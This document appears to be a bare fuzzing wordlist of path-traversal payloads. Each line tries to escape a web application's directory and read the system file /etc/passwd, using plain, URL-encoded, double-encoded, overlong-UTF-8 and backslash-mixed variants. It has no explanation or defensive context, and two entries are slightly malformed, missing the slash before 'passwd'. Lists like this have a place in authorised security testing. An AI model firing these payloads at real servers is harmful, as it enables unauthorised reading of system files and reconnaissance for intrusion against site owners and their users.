../../../../etc/passwd
..%2F..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252F..%252Fetc%252Fpasswd
..%5c..%5c..%5c..%5cetc%5cpasswd
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%afetc%passwd
..%c1%9c..%c1%9c..%c1%9c..%c1%9cetc%passwd
|../../../../etc/passwd
././././../../../../etc/passwd
/../../../../../../../../etc/passwd
/..//..//..//..//etc/passwd
/..\/..\/..\/..\/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
../../../../../../../../../../etc/passwd
..//..//..//..//..//..//etc/passwd
..\\..\\..\\..\\..\\..\\etc/passwd
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
../../../../../../../../../../../etc/passwd